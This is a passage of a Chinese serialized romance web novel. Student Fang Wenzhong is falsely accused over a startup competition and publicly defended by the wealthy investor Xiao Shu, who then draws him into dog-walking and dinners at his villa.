初赛在昏天暗地地熬了几个大夜,交上改过无数次的计画书后结束了,一周后出来结果,方闻钟他们竟然进复赛了!一共有三十支队伍,方闻钟三人显得平平无奇,但他室友和学姐的组队没进。 一时之间宿舍氛围有些不对劲,但本专业还有其他参加比赛的学生,大家都热情洋溢,最近提起来都是这个话题,复赛要做演讲展示,到时候会有本校领导担任评委选十组进决赛! 那时才是真正的大佬厮杀,但凡进去决赛的队伍,每支都会有5到50万不等的创业资金,为期一个月实践参加决赛! 方闻钟没想过决赛的事,只想全力以赴准备复赛的展示。 那天,他站在台上很紧张,但忽然想到下面坐着的人,还没有面对萧总的压力大,方闻钟顿时信心百倍。 他们一组让人眼前一亮,评委频频讨论,不是因为方闻钟的计画有多新颖,恰恰相反,出色的是方闻钟能把一个传统项目做到这么条理清晰,结构清楚,并且他别具一格地将重点放在项目未来收益和发展上,言语间自信满满,彷佛未来一定能赚钱! 评委们最后让他通过复赛。 太过于关注创新,有时候反而是本末倒置,方闻钟的展示让老师们很满意,一个大一新生能做到这种程度,很不错了。 复赛结束!方闻钟高兴地差点跳起来,小组另两人也是,看着拨下来的5万块资金合不拢嘴。 他们抱着大牌子,虽然钱没到位,虽然和其他拿到几十万的不能比,但已经很知足了。 尤其方闻钟,他没想到自己试试,真能试出结果。 萧疏说初赛进不去也没关系,可他进到了决赛!白天做展示的兴奋和紧张纷纷退去,他在夜晚给萧疏发了个报喜的消息。 想感谢他,最大的还是想分享开心啦。 萧疏没回,方闻钟闭眼微笑入睡时,不知道明天等待他的将是什么。 方闻钟被人举报了,要求取消大赛决赛资格!并收回创业资金,理由是,他弄虚作假,拿别人的东西获取关注! 方闻钟气恼地被叫到老师办公室,一路都在想怎么解释,看到举报的人,怼他的室友光明正大跟他对峙,更生气了。 室友说得言之凿凿,方闻钟拿不出这类水平的东西,肯定是通过别的管道找人帮忙,还不敢承认。 谁主张谁举证,他拿不出证据,方闻钟被这样质疑也恼怒地说全程是自己做的,他的计算机上都有记录! 触发了关键词,室友突然言辞伤人,“谁知道你背后有什么见不得人的勾当!” “拿着贫困生的补助,却用几万块钱的计算机,还动不动穿上千块的联名T恤,方闻钟,你不是之前一直穿盗版的鞋子吗?现在怎么换正版的了?钱哪来的?” 他鄙夷地扫视着方闻钟的衣服和脚,“你敢说是你通过正规管道挣来的?” “怎么,面包店打工还让你吃得起一顿几百块的下午茶了?” 方闻钟脸胀红,他捏着拳头全身发抖却定在原地,事情惊动了别人。 本来只是辅导员和代课老师在场,后来学院书记和另一位校领导也出面。 因为室友举报的内容包含方闻钟可能领贫困补助有问题,或更甚者作风方面不清白。 校领导制止了室友口出狂言说出“包养”那个词,虽然一切还没定论,室友也被领导批评了,可他看着方闻钟哑口无言的样子,越发得意咄咄相逼。 他嘲笑他的贫穷,却又污蔑他的富有。 方闻钟第一次被泼上这样的脏水,虽然老师们不会轻易和学生一样污蔑他,但方闻钟不知怎么就想到了很久之前的酒店那一晚。 他不是被包养,和萧疏没有情色关系,他的比赛,或其他室友口中的“异常”,不是他和别人有金钱交易的证据。 “我没有,”方闻钟内心害怕,可还是这样坚定地说。 “我没有,都是我实习公司带来的,”他否定到。 第134章 萧叔叔 事情告一段落,可引来的风暴却还是迅速传播到方闻钟周围。 学校会询问,但不会过度调查侵犯学生隐私,这其中,方闻钟被叫去问话的少,辅导员帮他多说了好多,“方闻钟从没有一天夜不归宿,他家庭情况你们也能看到,”他苦口婆心地给领导解释。 “一学期打不下十份工,前段时间确实是偶尔出去实习,至于具体哪家公司,我就不清楚了。” “举报的那位同学也没有证据,”明显是找个由头发火,朝方闻钟撒气,开始还说比赛有问题,后来重点全偏了,显然对方闻钟本人有敌意。 校领导和学院书记都摆手让这件事停止,之后点名批评了室友的做法,并让他给方闻钟口头道歉。 这件事就不了了之,呼吁学生少挖掘别人的隐私并拿来当笑料或谈资。 室友在本专业的名声臭了,大家都知道,他一开始找事的原因就是专业内只有两个人进了比赛决赛,一个是抱上大三学长大腿的男生,另一个就是平平无奇的方闻钟。 估计是忌妒,然后讲方闻钟坏话,还把这件事闹到学院。 方闻钟参加决赛的事继续板上钉钉。 可投向他的目光,全变了味道。 人人都知道他父母离婚,且一个人长大,家庭条件很不好,他出名了。 一开始,他并没有申请补助的打算,是辅导员了解后主动积极向他提起的,方闻钟就这样接受了贫困补助。 以前,同学们看他的眼光随意,或许还有喜欢,毕竟方闻钟性格不错,人还很帅,可现在多多少少带了些可怜,刻意和小心,方闻钟明明在和室友的这场争论中胜出了,他却忽然在班里更孤僻。 这段时间,他在空闲之余没有去渊枢资本,方闻钟想了很多。 初被质疑和嘲笑时,方闻钟脸红脖子粗,可后来,慢慢平息下来后被另一种情绪所取代。 他不会因为一场别人的污蔑,就远离或者重新审视萧疏,恰恰相反,正是这个时候,他体会到了萧疏的好。 萧疏坐拥渊枢资本,因为某些错误的事给他补偿,让他随意接近是好。 那样一个难以接近的人,却在和他相处时处处温柔周到妥帖,更好。 方闻钟坐在花坛边,回忆和萧疏几次见面的事,第一次,萧疏带他去他常会去的餐厅吃饭,看出他的局促,萧疏全程以命令强势的姿势推着他一举一动,给了方闻钟自在。 下暴雨时,萧疏或许发现了他鞋破了,也发现他不想让他知道,于是以一个蹩脚的藉口支开方闻钟让他买水。 方闻钟没买到鞋,男人继续装作不知,让他踩在他脚上,又故作赔礼道歉说因为他让他帮忙才踩湿了鞋,买了新的给他。 更过分的是方闻钟不知道那双鞋的价格,自以为是地还给萧疏150块钱,萧疏认真收了,摺纸现在还在他办公桌上。 方闻钟羞愧地捂住脸,他见识太短了,连这点萧疏的体贴都看不出来,要事后别人点出他才知道当初那一幕他有多令人发笑。 但是萧疏统统没有,替他保留面子。 方闻钟紧紧捂着脸,已经红成一片,脖子也红通通的,他忽然拿出手机。 给那个五岁的小姑娘发消息,那件据说也很贵的T恤,真的是她和她父亲因为她弄坏衣服赔给他的吗? 上次小姑娘没肯定,这次她回答:“哥哥你说什么啊?” 方闻钟又明白了,手机从他手里滑下去,又紧紧攥紧。 可能还是萧疏的好意,那样说只不过为了让他轻松接受。 方闻钟忽然咳了几声,几声后,他眼眶慢慢通红了- 学校被冤枉的事,方闻钟当然没跟萧疏提过。 但萧疏还是通过别的管道知道了,挂了电话,他忽然接到方闻钟的电话,倒是难得。 “喂,”萧疏以为,方闻钟隔了这么久想跟他说什么,他冷淡地靠着椅子,听听他要讲什么,谁料那边小声道:“萧总,你喜欢什么颜色啊?” 萧疏皱眉,“嗯?” 方闻钟紧紧捂着手机,他旁边还有别人,男生低头说:“就是随便问问,你喜欢蓝色还是黑色啊?” 萧疏站起身,走到窗前,“或许蓝色?显得我年轻点,黑色用多了,你说呢?” 他玩笑,听出他语气里的轻松,方闻钟也放松下来,“那蓝色好了,”他轻轻道,然后没跟萧疏解释,挂了电话。 方闻钟对销售说:“就要这款蓝色的签字笔吧。” “好的,”女销售精心给他包上,她没想到这个学生打扮的男生,一进来最后真买了一只几千块钱的笔,心情很好地开玩笑,“送别人的礼物吗?那对方一定很开心。” 方闻钟也笑了,羞涩又率真,“应该会吧。” 他离开这个高端购物场所。 以前方闻钟从来不会进来这里,路过看都不看,可他想给萧疏送一件礼物,就当是感谢也好,送同等价值的东西给他也好,方闻钟下定决心,最终挑了签字笔。 几千块钱花出去他好心疼,毕竟是他一学期的生活费,是他打一个暑假工才能挣到的钱,但放到萧疏那里,他还怕隐隐配不上他的身份…… 方闻钟有些敏感,算了,不想了。 他知恩图报,从别人那里收到的好意,会想尽办法以同等的价值回报过去,无论萧疏是否接受,他这样才问心无愧。 提着礼物到公司时,方闻钟结束半天实习,要走呢,他拒绝萧疏送他去老校区。 萧疏拿外套的手刚停下,“萧总,”方闻钟双手放在前,对萧疏说:“这个想给你。” 他说想给,萧疏顺手接下,“什么?”男人开口。 “蓝色的签字笔,”方闻钟找了个理由,“之前一直在这里学习,你也没安排我做别的事,”他摸摸头,“我反而在这里学到了很多,最近参加学校的比赛,我还进决赛了。” 他说着说着,重新开心,“有5万块钱的激活资金,正好想买个礼物感谢一下你。” 说到这个地步,萧疏没有不收的理由。 甚至他知道,方闻钟可能因为同学的举报,心里对他送的衣服和鞋有猜疑,才选择这种方法回报他。 心里说不上什么感觉,萧疏心闷闷地痛了一下,但他面上不露分毫,直接打开包装,拿出签字笔,“我很喜欢,正好旧的用腻了,”他看向方闻钟,“眼光不错。” 不过,“那5万块钱又不是给你的,”他送他下楼,却说去二楼有事。 “生活费够吗?”进电梯,萧疏替方闻钟挡了一下随便问。 萧疏很欣喜地收下了,方闻钟别提多开心,萧疏还问起他别的生活方面的问题,顿时老老实实又乖巧道:“够的,萧总。” “嘿嘿,第一次拿到那么多钱,”虽然5万是用来实践项目的,但他已经开心好久了。 萧疏抬手,想刺挠两下他的头发,方闻钟忽然转头,仰起来看他。 “萧,萧疏!”电梯忽然晃动了一下,方闻钟赶紧抓住扶手,舌尖嗑了一下,就这样喊出了萧疏的名字。 他以前一直在公司称呼他萧总的! 看没事了,萧疏双手插兜,面带微笑,“我以为你要喊我萧叔叔。” 方闻钟重新咬破了舌尖。 第135章 亲近和儒慕 方闻钟站在上面,看着台下决赛评委席正中间的那个人,脑袋一下懵了,长久地不知所措,直到话筒出现嗡的声音,他的队友在他旁边小心提醒他,他才磕磕绊绊开始比赛。 方闻钟比较倒霉,抽到了第一组,他一直以为今天来的会是原总,之前看到评委席那里的名牌还有骚动,并没有多观察,可是现在看到萧疏那张脸,方闻钟前所未有的紧张。 他的名牌简简单单,渊枢资本,萧疏。 可人人都知道代表的含金量。 今天因为他的到场,陪同的老师和参赛的学生都很激动,甚至多了很多慕名来看比赛的人。 方闻钟发挥得不太好,本来他们这组就不太显眼,复赛里能让老师欣赏通过,一到决赛短处尽现,这一个月的实践操作,方闻钟发挥了他最大努力和心血,结果也让他很满意,本来想的是做到他能做的最好就可以了。 可今天的评委里有萧疏,萧疏会不会觉得他是拾人牙慧,还画虎不成反类犬? 毕竟方闻钟的灵感和经验全来自于在实习时看的那些数据,萧疏会不会因此对他很失望? 怀揣着这样的想法,整个展示过程,方闻钟都有些结巴。 他的表现引来下面不太满意的小声讨论,方闻钟越发失去自信,就在此时,评委席正中间的萧疏,忽然用笔敲敲桌子,抬头对他微笑说:“别紧张。” 他清冽的声音一下传遍整个会场,满场寂静。手里的那只笔,还是方闻钟新送的。 方闻钟顿了一下,然后猛吸了一口气,他不着痕迹地从萧疏的注视下立马回神,终于完整地介绍完了本小组的项目。 轮到下一组,一直到几个小时后十组全部结束,方闻钟都没听进去别人讲的多少,他在后面看着萧疏的背影。 萧总全场竟只说了那一句话,“别紧张”,好像他的温和只是假面,后面强大的气场笼罩众人,倒叫别的学生更忐忑。 比赛结束,结果出来方闻钟他们第八名,一瞬间在萧疏扫视过来时,他羞赧地低下头。 下午还有萧疏的专场讲座,方闻钟尽管有些蔫,还是兴致勃勃地去了,没想到人爆满,他只抢到了靠后排的位置。 讲座在一位采访老师的开场下拉开序幕,和萧疏对谈的,还有一位校领导,和一位本校知名教授。 萧疏在其中年龄中等,可他的气质鹤立鸡群,男人从容优雅,言之有物,他不只有强大的渊枢资本作为背景,单论容貌和声音本身,就够台下这些学生观众津津乐道。 “原来他就是萧疏啊。” “好帅!好牛逼的身高,近距离看真让人腿软,我还以为大佬也是秃头啤酒肚呢……” 方闻钟不止一次听到这样的讨论。 当男人风度翩翩走向话筒旁发言时,方闻钟的注意力忽然飘忽。 这才是萧疏,让各方领导落后一步众星拱月的才是萧疏!让全场寂静钦佩喟叹的才是萧疏。他与他的距离,好像本应该隔这么远,远到回声传来都钻不进方闻钟的耳,远到方闻钟关于父亲的想像,好像一场单方面臆测,萧疏可能,比他爸爸要厉害好多好多好多…… 男人抬眸,下面同学提问。 方闻钟耳边不合时宜的嘲笑声放大。 以室友为代表的一群男生,肆无忌惮又装作不是故意的,在他身边说:“那么辛辛苦苦不要脸,花钱找人帮忙,怎么最后只得了第八名啊,是不是没见过五万块钱?” “果然不是靠一张脸就能行得通的,装什么沉默寡言……” “某些人啊,今天可能是他离萧大佬最近的一次了,还不赶紧表现巴结,不过他敢吗?哈哈哈哈。” “渊枢不愧是风投巨头,哎我哥就在那里工作,有机会我带你们去参观,说不定还能和萧总说上话。” “好啊好啊。” “……” 因为家庭和穷被污蔑,因为孤僻被人排挤,往常方闻钟没多放在心上,今天听来异常刺耳。 讲座一个半小时很快过去,观众被先疏散离场,萧疏还和各位领导老师在后面交谈未离开。 走出大楼,方闻钟被阳光晃了一下眼,同学三三两两,还聚集在宣传牌前拍照,他前面勾肩搭背的男生,推搡间往后撞上他。 “对不起啊,不是故意的。” 萧疏和各位领导走出大楼,萧疏忽然说:“听说这次比赛有一个小组被举报了?差点没进决赛。” 在他身边为他引路的手,顿了一下收回去,校领导将询问的目光投向后面的老师,幸好有一位知情人在,他立马解释道:“就是第一组,有人举报他项目书造假,但都是子虚乌有的事,我们已经查清了,还给那位同学清白,不过今天看来,他们表现一般……” 萧疏整理着袖扣,忽然打断他,“方同学嘴比较笨,不会反驳,幸好校方没有盲目盖棺定论。” 他终于整理好了衣袖,手插兜里,“不过我从未给他提供过任何超出比赛的帮助,全是他自己在公司实习时自学的,他才大一,今天的表现我很满意,未来他也一定会成为我们渊枢的栋梁。” 他的目光一一扫视过领导、陪同老师,人人面目相觑,石化震惊。 萧疏口中的信息量一时太多!但无一不透露他对方闻钟的维护。 还说什么不经意间问起,萧总明明是早有准备,就等着这时候警告他们,他知道方闻钟的事,甚至方闻钟和他有千丝万缕的关系就在渊枢实习,才能有今天的上台比赛。 这关系,更像照顾自家后辈,校领导委婉地问:“萧总,那位方同学是您……?” 在这时,萧疏也发现了好多人还逗留看他们,包括远处的方闻钟。 他抬头,招手示意他过来。 目光纷纷向方闻钟看去,方闻钟有点傻,啊?叫他吗?现在? 他脚步顿挫了一下,还是抬腿向那边小跑去,然后疑惑地站在领导老师面前,萧疏旁边。 萧疏没管众人的视线,手搭在方闻钟肩膀上,将他亲密地揽进怀里,方闻钟又差点咬到舌头,似乎不用对校领导解释了,男人手往上。 捏着方闻钟的后脖颈,一下一下既是安抚,也是关照。 “以后麻烦不要再出现这样的流言,还请多照顾一下他,”他微笑地对几位领导说。 “应该的应该的……” “不会不会……” 在方闻钟惊讶的同时,别人比他更震惊!尤其刚才还犯贱撞方闻钟的人,这会儿都目瞪口呆,眼珠子差点掉地上。 啥?方闻钟和萧总认识? 萧总怎么可能揽着他在校领导跟前露面? 那他们前头对方闻钟说的屁话,岂不是把自己脸皮按地上摩擦? 在男人手放在他颈侧的一刹那,方闻钟瑟缩了一下,很快听到他的话,他呆呆地任由他抚摸,在别人面前表现出一副乖巧小孩儿的表情。 他捏着他的脖子,和以往距离从未有过的亲密,方闻钟忽然不躲了,他明白了,萧疏肯定知道他在学校的风波,还特意在这个时候替他澄清。 还带来了更意想不到的结果。 听着背后的喧闹,他知道那里有刚嘲笑羞辱他的人,奇异的,一种莫名的爽滑过方闻钟全身,让他脸有些红,眼睛有些激动。 他内心深处是羞愧的,因为就在刚刚,他竟然暴涨出了一种虚荣心被狠狠满足的舒服,这是不对的,这也不是真实的,可方闻钟还是沉溺了。 他看萧疏的眼神,慢慢不同平时,开始变质。 这里交待完,萧疏重新拍拍方闻钟的肩,“先回去,走时再叫你。” 方闻钟一步三回头,忽然拔腿跑了,萧疏在校领导的送视下,走向另一个方向。 “方闻钟,方闻钟。” 短暂的矜持后,方闻钟周围被同学们围满了,都是他班上的认识的人,大家只有一个问题,“萧总和你什么关系啊?” 在那些艳羡、好奇的眼神中,方闻钟被拉扯着支支吾吾。 “叔,叔叔。”一位认识的叔叔。 “真好啊……” 别人的恭维和追问经久不息地响在方闻钟耳边,他躲走,今天下午像做梦一样,方闻钟脸皮薄,这会儿全身红透,却整个人又散发著开心、激动。 电话响了,他赶紧接起,是忙完的萧疏,约他在停车场见面。 方闻钟飞快跑过去。 到车跟前时,车上的男人忽然打开车门下车,一见他,“跑什么,我说了等你。” “我,我,”方闻钟张口好半天,一句完整的话说不出来,他忽然看着萧疏的脸哭了。 很奇怪,可他就是偏过头眼泪默默地流出来,又迅速擦掉。 男生复转回头,恰好看到萧疏在他面前抬手。 萧疏的手臂又放下。 “很热吗,脸这么红。” “不是,”方闻钟摇头,“萧总,真的很感谢你,”他看着他,想。 萧疏要是真的他叔叔就好了,在萧疏递过来一张手帕时,他望向萧疏的眼神,有亲近,有儒慕,有遗憾,还有胆怯和欣喜。 萧疏忽然将手放在他眼睛上,手掌遮住他的眼神。 他不想看到方闻钟此时眼里的七情六欲,因为那会让他忍不住,让他想破坏,或者更进一步。萧疏闭了一下眼,方闻钟还以为萧疏又给他留面子,不想看到他哭。 他吸了一下鼻子,嘴角扬起笑。 方闻钟长长的湿润的睫毛,在萧疏手心扫来扫去,萧疏突然收回手。 方闻钟瞬间明亮地看着他。 “今天表现不错,”萧疏:“看来实习时给你的东西没白看。” 方闻钟上前一步,“你不会对我很失望吗?我都是学别人的,”他很急切。 “不会,”萧疏镇定地给他一剂强心剂,“相反,我很期待,你还能学到多少?” 方闻钟雀跃,他忽然上前,抱住萧疏。 抱一下,松开。 方闻钟仰着头,从小他就学会一个道理,吃过的苦能忘就忘,改变不了已经发生的事,那就积极迎接未来可能到来的好事,他就这样,忘了萧疏曾在酒店对他做过什么伤害他的事。 时至今日,他觉得认识他一场收获很多,是开心的。 曾经可能想像他是父亲的朋友,这一刻方闻钟天真地以为可以把父亲的,换成自己的?见识经历过那些萧疏对他的照顾,他看向他的眼里顿时全剩儒慕。 “萧疏,认识你是开心的。” 方闻钟说。 他抱了一下他,萧疏知道,那是对一个很久没出现的喜欢的长辈的撒娇。 第136章 冠冕堂皇地同居。 方闻钟抱着一只黑白相间的大狗狗蹲在庭院里给它摸毛,狗时不时甩一下头,方闻钟用脸颊蹭蹭它。 萧疏倚身站在一旁的架子上,端着咖啡问他,“来吗?” 事情是这样的,几天前,方闻钟下午去老校区上课,下课后往车站走时,旁边的树林里突然蹿出一只威猛的大型犬!它兴奋地汪汪叫,看到方闻钟直冲他而来。 方闻钟那一刹那撒腿就跑,虽然他不怕狗,但这么大一只他也怵啊,男生跑得飞快,书包都扬起来,他回头一看,狗突然从岔路追别的同学去了。 出现了另外的目标猎物,大型犬汪汪叫往三个女生身上扑去。 方闻钟想都没想,吸了一口气跑上前又把大狗引走了…… 狗狗追着方闻钟绕圆圈,它玩得可开心,方闻钟累得直哈气,眼见狗狗好像不怕他,还挺喜欢跟他这样玩,方闻钟大著胆子,放慢速度,最终把狗狗从它脖子上的绳套牵住,一人一狗,站在树林边的马路上,左右张望。 “你主人呢?”等了十几分钟,方闻钟摸着狗头问它。 不可能让这么一只大型犬没绳子牵着独自在外撒野吧。 狗看他一眼,低头咬他鞋带。 “哎哎哎,你讲讲道理!”方闻钟把狗提开,正在此时,狗的主人貌似出现了。 他西装革履,带着一只绿色的一看就价值不菲的腕表,从车上下来走向方闻钟。 男人四五十岁的样子,面容慈祥带笑,可方闻钟一看就觉得他是笑面虎,不太像好人。 不像好人的人把狗从他身边接过,给狗套上了牵引绳,对方闻钟解释,“下车没看住它,没想到它自己打开门跑了,最近关它太久,它可能才这么兴奋想跟你玩吧,我的狗不咬人。” 他拎着狗,狗带着长长的绳子,在方闻钟腿上绕圈圈。 方闻钟:“……” “不过还是对不起,另外很感谢你,小同学。” 狗和它主人,就这么莫名其妙地出现,又莫名其妙地消失。 今天方闻钟又在渊枢资本实习了半下午,萧疏提出让他多学学,不介意他偷师,方闻钟怀着感激敬畏的心情,在渊枢实习就当是奇遇进修,“方闻钟,你能帮我一个忙吗?” 将他快送到老校区坐校车时,萧疏似乎犹豫了很久,对他这样说。 方闻钟一下激灵,有什么忙?他愿意的。 男生点头,萧疏笑着让司机在前面的路口拐了个弯,学校在他们背后渐渐远去,萧疏将方闻钟带到了一处闹市别墅。 距离学校,可能也就十分钟路程。 别墅打开,那只方闻钟熟悉的大狗就冲了出来,它一看到他,也歪头惊讶,然后就是疯狂扑上去蹭蹭。 方闻钟大睁着眼,手下抱着沉重的份量,半晌没说出话。 “看来它真的很喜欢你啊,你们肯定能相处好。” 这是萧疏进别墅说的第一句话,方闻钟还不明白萧疏要他干什么。 “前几天我见过它,它和他主人走丢了,”方闻钟起身,面颊红润对萧疏解释。 “哦?”萧疏挑了一下眉,他走近方闻钟,又屈尊降贵地用手背碰了一下大狗,“我想让你帮的忙,就是你能不能偶尔来这里帮我遛遛狗。” “狗是我朋友寄养给我的,他很喜欢他的狗,因为要出国很久,舍不得才叫人放在我这里照看。” “你一周会来三次老校区上课?还会来实习一两次?对吗,”萧疏确认着他的时间表。 “如果方便的话,傍晚来这里帮我遛遛狗,我没时间。” 方闻钟牵着狗傻了,这是他朋友的狗?那个笑面虎是萧疏的朋友? 朋友,萧疏的朋友可能还有什么样的人。 方闻钟低头沉默不语,他蹲在地上机械地摸着狗头,曾经的父亲算好朋友吗?他有可能从他这里了解到什么吗? 方闻钟仰着头,看到萧疏的脸,忽然将所有疑问都吞咽回去。 他也不是那么想在萧疏面前提起父亲,这件事他自己知道,自己观察就好了。 “萧疏,你如果做生意失败会自杀吗?” “嗯?”萧疏没听清他看着地的小声嘟囔,方闻钟一下子意识到自己失言,猛地站起来,“没什么啊,我答应。” “我可以来帮你遛狗,”他对萧疏承诺。 “正好我这处房子也是偶尔住,”萧疏:“如果你晚上帮我遛狗,第二天早上老校区又有课的话,可以晚上住在这里。” 啊?方闻钟一下慌了,“不用不用。” 他在萧疏漠然的注视下声音小了很多,“那你就会浪费很多时间在路上,方闻钟,这样划算吗?” 方闻钟不知道怎么说,实在是不方便啊。 萧疏弹了一下他额头,方闻钟往后一趔,如果再早些时候,萧疏这样做,他会躲的,但现在他老老实实挨着。 狗看两人好久不动,抬头汪了一声。 方闻钟继续蹲下陪它,在学校比赛的那天,他就意识到了萧疏和他的差距,心里有那么一分想把萧疏当他朋友,年轻人嘛,就是敢想敢做,但方闻钟清楚,他是有些异想天开的,这样能偶尔接触到他就很好了。 “不住在这里的话,”萧疏说:“那我给你遛狗的工资。” “不,”方闻钟卡壳。“呵,你实习也不要工资,帮我大晚上遛狗也无偿,”萧疏冷笑道:“这么大度啊。” “实习那也是人人想要还没有的机会呢,”方闻钟又开始嘟囔。 萧疏忽然做了一个方闻钟完全意料之外的动作。 他在方闻钟屁股上踢了一脚,差点把人踢翻,男人看着羞恼愣神的男生,“跟我算得那么清干什么,来不来?” 要不要住家里。 算得清,还是要算不清。方闻钟磕了一下嘴角,他从地上坐起来,眼神明亮地看着萧疏,“来。”- “那就从今晚开始吧,”萧疏说:“我记得你明早十点才有课?早上再回去,时间充裕。” 方闻钟牵着狗,“不行的,我今晚回去明天还要找辅导员说一下才能晚上不回寝室,”他乖乖道。 萧疏点着头,“那下次吧。” “好。” 萧疏就这样冠冕堂皇地把方闻钟放在他身边,还哄来家里,废了朋友一条狗…… “好了,带它出去玩儿吧,我还有事,”他上楼去忙了,方闻钟牵着期待已久的大狗,终于一起飞奔出别墅。 打开花园门,狗就四只腿狂奔,方闻钟刚开始矜持,后来和它一起赛跑。 狗子大概从没这么开心过,都不汪汪叫了,大眼睛盯着方闻钟,两人毛发都往后张扬,跑到不知哪个方向。 人多的时候,方闻钟会将狗使劲拉回来,告诫它:“不许吓人,不许咬人。” 狗狗很听话,舔他放在嘴边的手。 方闻钟咯咯笑着还把狗抱起来四条腿支棱在前甩了一下。 他从小也是想过养宠物的,但实在没条件,能照顾好自己就不错了,在孤孤单单长大的夜晚,方闻钟也想过,要是有个狗或猫陪他,应该也很开心,今天竟然实现了,果然很开心! 他脸上热烈的笑,那是愿望爬过十几年的感染力。 不知不觉就带狗溜到了他们老校区,方闻钟走到教学楼下才反应过来,算了,就当熟悉熟悉路吧,以后如果真在萧疏那里留宿,他也要走这条路的。 方闻钟低着头,赧然却嘴角带笑。 绕过一遍校园,时间已经过去一个小时了,方闻钟感觉狗子的运动量达标,他也有些饿了。 一起慢慢踱步,方闻钟因为今晚还要回新校区,他蹲下来捧住狗的脸,热情洋溢,“我们再跑十分钟好不好?十分钟后,你就到家了,你新主人肯定给你准备了肉和骨头,我也要回去赶紧吃饭了。” 狗狗同意,不反对就是默认。 用了五六分钟,方闻钟就带狗狂奔回了别墅。 一到家,狗大口喘着气,方闻钟也热得满头大汗,他将狗交给萧疏,一边猜测萧疏给狗吃什么,一边看到狗已吨吨狂喝着水,旁边摆着丰盛的狗粮,他笑得开心。 几步拿过书包,“萧总,我先走了,”他回头朝萧疏摆手。 萧疏抓住他的手。 又将力道上移,放在手腕上,萧疏换回了居家服,刚从楼上下来,之前手里还拿着一本杂志,在方闻钟来之前,百无聊赖地翻页。 他将他带到餐桌旁,餐桌上已经摆好了五菜一汤,比狗粮精致美味多了的萧疏的晚餐。 “跑什么,先吃饭再说。” 别墅里有专门的厨师做饭,方闻钟被拉到椅子上坐下时,忽然意识到,萧疏不会是在等他吧? 他抬眼看去。 萧总一副无所谓的样子,“去洗手,你带它跑哪里去了?” 温凉的水冲过手心,方闻钟却像被烫到心里,他潮湿地走到餐桌旁,回答萧疏的提问。 不是剩菜剩饭,不是凉了的或者菜少辅料多的沾满了油污的脏盘子,方闻钟知道自己不该抱怨,以前在家吃不上饭的时候,偶尔会被邻居叫去在别人家吃。 他们当然不会等他到了一起开饭,剩下什么算什么,剩下多少算多少,方闻钟会摆出开心感激的笑脸,将辣椒、葱蒜等一点点肉或菜,全扒到米饭里,“真好吃,婶,谢谢你……” 方闻钟沉默地扒着米饭,萧疏将菜夹到他碗里时,他尝着没吃过的味道,把碗端起来,挡住自己没出息的哽咽。 方闻钟不用在吃过饭后去厨房洗锅,邻居热热闹闹地在外面说话,偶尔喊他一声,“闻钟啊,待会走的时候把垃圾提上。” “好。” 方闻钟不是白眼狼,他只是没体会过还有这种不一样。 还发生在萧疏身上,萧疏开车将他送回去时,他故作轻松,问‘怎么还给他留饭了等他一起吃?让他受宠若惊’。 萧疏不当回事,“是吗?那我的礼貌会让我以后一直等你上桌。” 男人炙热的视线,在车灯闪过时方闻钟只看到朦胧,他突然偏过头去,手指粘贴车窗上萧疏的侧影。 第137章 皮一下 方闻钟下课后迅速下楼梯,他还要去行政楼找辅导员和老师说一下,晚上不回来的事,接着要去宿舍拿明天上课的书,手在桌面犹豫了一下,把洗漱用品也带上了。 学院老师不知是不是因为上次萧疏的出面,特别放宽条件,几乎没怎么问,就签了字。 辅导员和他一起出来时,拉住方闻钟,顿了良久,“我们加个私人联系方式吧,有事找我。”之前辅导员只打电话联系过方闻钟一两次。 方闻钟点头同意了,出示自己的二维码。 时间已经六点多,到萧疏家里肯定八点了,方闻钟一步跳下好几个楼梯,往校车处跑去,跑到一半,忽然接到一个陌生电话,还以为是兼职方面的,方闻钟接起来,“喂?” 竟然是萧疏的司机,听着对面有些熟悉的声音这样介绍道。 方闻钟跟着他的指引,走到学校北门,“看到了吗?我就在这边停车场等你。” 方闻钟跑过去,收起手机,“呃,叔,”他打了声招呼,司机立马摆摆手让他上车,还以为是顺路带他回去呢,方闻钟系安全带时,司机说:“我是来专门接你的。” “……不用麻烦了。”方闻钟已坐好。 司机已经开出了学校,很低调宽敞的一辆车,比校车要省时舒适许多,“萧总安排的,不过我也不麻烦,”司机在后视镜里看方闻钟,“以后去那边都由我接你。” 方闻钟感觉被这样郑重地对待有些不适应,可他和司机没法多说,于是沉默闭嘴。 走到半路,方闻钟摸了摸肚子,完了。 本来去坐校车,会路过一个卖烧麦很好吃的店,他准备当做晚饭,现在肚子饿了,方闻钟看着车窗。 司机直接将方闻钟送到别墅,天暗下来,没想到一下来就有萧疏牵着狗迎接。 狗狗看来是等挺长时间了,一见到方闻钟,似乎知道陪它玩的玩伴来了,从萧疏手里叼着绳子,往方闻钟手里塞。 方闻钟赶紧接过,萧疏将他的书包拿过来拎在手里。 “走咯,”方闻钟带着狗跑路。 “今天比较晚了,带它去公园走走就好。” “好,”方闻钟回头。 萧疏本来要进去,司机忽然上来,犹豫了一下,对萧总说:“他可能没吃晚饭,”路上就看到方闻钟捂肚子了。 萧疏立刻沉眉,他第一反应是为什么不说?方闻钟为什么不开口他饿了想先吃饭?后立马喉咙一动,“知道了。” 半小时后,萧疏拎着装有两个三明治的纸袋,散步走到公园。 方闻钟已经带着狗跑了两圈了,还在喷泉那边玩了一会儿,萧疏过来时,他正坐在椅子上给狗湿了的毛擦顺。 萧疏坐下,纸袋放在两人中间。 “哎?”在这里看到萧疏的惊讶,不亚于那天在比赛现场看到萧疏坐在评委席,萧总怎么也来逛公园了? 萧疏看他打理狗子,随意道:“厨师做了一点减脂餐,卖相不好,口味可能也不好,放明天就坏了我拿出来……” “给我吃?”方闻钟顺口接到。 “噗,”萧疏被他逗笑了,他本来想说拿出来扔掉,方闻钟如果还吃得下不嫌弃,可以尝尝。 “要吃吗?” 方闻钟挠挠头,“其实我刚已经吃过面包了,不饿,”牵着狗路过便利店他就买好了。 方闻钟继续低头和狗玩,他声音又轻又低,“萧总,以后不用麻烦来专门接我了,我过来也挺方便的。” 萧疏翘着腿,“对我来说不麻烦。” “可是,”方闻钟急切。 萧疏手放在木质椅背上,“对我来说没有成本的事我为什么不去做?” “这对你来说更有益不是吗?” 方闻钟拗不过他,他打开三明治纸袋,拿出三明治直接往嘴里塞,还在纸袋里看到一盒牛奶,方闻钟继续破罐子破摔插上吸管猛吸两口,都嘬出了声音。 “专门来送我吃的,对你来说也是没有成本的事吗?”方闻钟目光呆滞地看着前方。 “不是说减脂餐,要扔掉,怎么还有牛奶?”他忽然在萧疏面前胆子大了起来,跟他呛嘴。 指明萧疏的撒谎。 萧疏愣了一瞬,好久看着呆呆赌气的男生,笑了一下,依旧优雅从容,“没想好。” “嗯?” 